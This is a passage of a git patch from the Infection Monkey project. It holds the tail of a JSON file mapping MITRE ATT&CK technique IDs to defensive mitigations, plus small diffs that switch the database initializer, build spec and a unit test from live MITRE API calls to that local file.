"https://attack.mitre.org/mitigations/M1015"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1128", "mitigations": [{"name": "Netsh Helper DLL Mitigation", "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)", "url": ""}]}, {"_id": "T1056", "mitigations": [{"name": "Input Capture Mitigation", "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1203", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1168", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1166", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1100", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1186", "mitigations": [{"name": "Process Doppelg\u00e4nging Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1184", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1095", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1075", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1012", "mitigations": [{"name": "Query Registry Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1030", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1028", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1034", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1506", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1499", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1065", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1197", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1088", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}]}, {"_id": "T1494", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1493", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1132", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1496", "mitigations": [{"name": "Resource Hijacking Mitigation", "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1147", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1500", "mitigations": [{"name": "Compile After Delivery Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1223", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1213", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1146", "mitigations": [{"name": "Environment Variable Permissions", "description": "Prevent modification of environment variables by unauthorized users and groups.", "url": "https://attack.mitre.org/mitigations/M1039"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1519", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1194", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1200", "mitigations": [{"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Limit Hardware Installation", "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", "url": "https://attack.mitre.org/mitigations/M1034"}]}, {"_id": "T1505", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1485", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1537", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1130", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1022", "mitigations": [{"name": "Data Encrypted Mitigation", "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1189", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}]}, {"_id": "T1498", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1158", "mitigations": [{"name": "Hidden Files and Directories Mitigation", "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", "url": ""}]}, {"_id": "T1221", "mitigations": [{"name": "Antivirus/Antimalware", "description": "Use signatures or heuristics to detect malicious software.", "url": "https://attack.mitre.org/mitigations/M1049"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1134", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1209", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1111", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1159", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1136", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1526", "mitigations": []}, {"_id": "T1151", "mitigations": [{"name": "Space after Filename Mitigation", "description": "Prevent files from having a trailing space after the extension.", "url": ""}]}, {"_id": "T1018", "mitigations": [{"name": "Remote System Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1046", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}]}, {"_id": "T1518", "mitigations": []}, {"_id": "T1538", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1052", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1105", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1126", "mitigations": [{"name": "Network Share Connection Removal Mitigation", "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). ", "url": ""}]}, {"_id": "T1084", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1160", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1484", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1220", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1173", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Behavior Prevention on Endpoint", "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", "url": "https://attack.mitre.org/mitigations/M1040"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1008", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1096", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1124", "mitigations": [{"name": "System Time Discovery Mitigation", "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.", "url": ""}]}, {"_id": "T1035", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1086", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1495", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}]}, {"_id": "T1490", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1216", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1094", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1118", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1043", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1211", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Threat Intelligence Program", "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", "url": "https://attack.mitre.org/mitigations/M1019"}, {"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}]}, {"_id": "T1127", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1529", "mitigations": []}, {"_id": "T1077", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}] diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 32e3c8486..4e339aad7 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -35,20 +35,5 @@ def _try_store_mitigations_on_mongo(): def _store_mitigations_on_mongo(): - stix2_mitigations = MitreApiInterface.get_all_mitigations() - mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns( - MitreApiInterface.get_all_attack_techniques() - ) - mitigation_technique_relationships = ( - MitreApiInterface.get_technique_and_mitigation_relationships() - ) - for relationship in mitigation_technique_relationships: - mongo_mitigations[relationship["target_ref"]].add_mitigation( - stix2_mitigations[relationship["source_ref"]] - ) - for relationship in mitigation_technique_relationships: - mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info( - stix2_mitigations[relationship["source_ref"]] - ) - for key, mongo_object in mongo_mitigations.items(): - mongo_object.save() + # TODO: import attack mitigations + pass diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec index 624d08ffa..756b5ae2c 100644 --- a/monkey/monkey_island/monkey_island.spec +++ b/monkey/monkey_island/monkey_island.spec @@ -13,7 +13,7 @@ def main(): # The format of the tuples is (src, dest_dir). See https://pythonhosted.org/PyInstaller/spec-files.html#adding-data-files added_datas = [ ("../common/BUILD", "/common"), - ("../monkey_island/cc/services/attack/attack_data", "/monkey_island/cc/services/attack/attack_data") + ("../monkey_island/cc/services/mongo/attack_mitigations.json", "/monkey_island/cc/services/mongo/attack_mitigations.json") ] a = Analysis(['main.py'], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py index f93afc8d5..24f516198 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/test_mitre_api_interface.py @@ -1,14 +1,18 @@ -import pytest +import json +from pathlib import Path -from monkey_island.cc.services.attack.mitre_api_interface import MitreApiInterface +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -@pytest.mark.slow def test_get_all_mitigations(): - mitigations = MitreApiInterface.get_all_mitigations() - assert len(mitigations.items()) >= 282 - mitigation = next(iter(mitigations.values())) - assert mitigation["type"] == "course-of-action" - assert mitigation["name"] is not None - assert mitigation["description"] is not None - assert mitigation["external_references"] is not None + attack_mitigation_path = ( + Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "setup" / "mongo" / "attack_mitigations.json" + ) + + with open(attack_mitigation_path) as mitigations: + mitigations = json.load(mitigations) + assert len(mitigations) >= 266 + mitigation = next(iter(mitigations))["mitigations"][0] + assert mitigation["name"] is not None + assert mitigation["description"] is not None + assert mitigation["url"] is not None From 2a9d9938cd61e629ceff07d1f06ce770f6eeb2ed Mon Sep 17 00:00:00 2001 From: Mike 